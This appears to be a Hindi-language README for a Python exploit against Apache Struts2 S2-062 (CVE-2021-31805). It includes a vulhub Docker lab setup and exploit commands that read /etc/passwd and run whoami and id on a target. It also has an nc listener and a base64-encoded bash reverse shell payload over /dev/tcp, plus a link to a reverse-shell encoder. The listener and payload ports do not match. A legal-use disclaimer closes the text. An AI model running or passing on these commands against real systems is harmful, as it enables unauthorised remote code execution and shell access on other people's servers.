secnn/struts2_s2-062_cve-2021-31805Python एक्सप्लॉइट Apache Struts2 S2-062 (CVE-2021-31805) रिमोट कोड एक्सेक्यूशन के लिए, जिसमें Docker-आधारित रिप्रोडक्शन वातावरण और रिवर्स शेल पेलोड जनरेशन शामिल है।
Apache Struts2 S2-062 दूरस्थ कोड निष्पादन भेद्यता (CVE-2021-31805) | रिवर्स शेल
docker-compose.yml
version: '2'
services:
struts2:
image: vulhub/struts2:2.5.25
ports:
- "8080:8080"
इमेज खींचकर वातावरण प्रारंभ करें
docker-compose up -d
पता एक्सेस करें: http://1.1.1.1:8080
python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action "cat /etc/passwd"
python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action whoami
python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action id
nc -lvvp 8081
base64 एन्कोडेड रिवर्स शेल स्क्रिप्ट बनाएं, निम्नलिखित वेबसाइट का उपयोग करके उत्पन्न करें: https://ir0ny.top/pentest/reverse-encoder-shell.html
python CVE-2021-31805_Shell.py http://1.1.1.1:8080/index.action "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}"
कृपया अवैध उद्देश्यों के लिए उपयोग न करें, केवल सुरक्षा परीक्षण के लिए करें, अन्यथा होने वाले परिणामों के लिए यह परियोजना जिम्मेदार नहीं है। नोट: वेबसाइट का परीक्षण उचित अधिकार प्राप्त करके ही करें: अनियमित परीक्षण करने पर आंसू आ जाते हैं।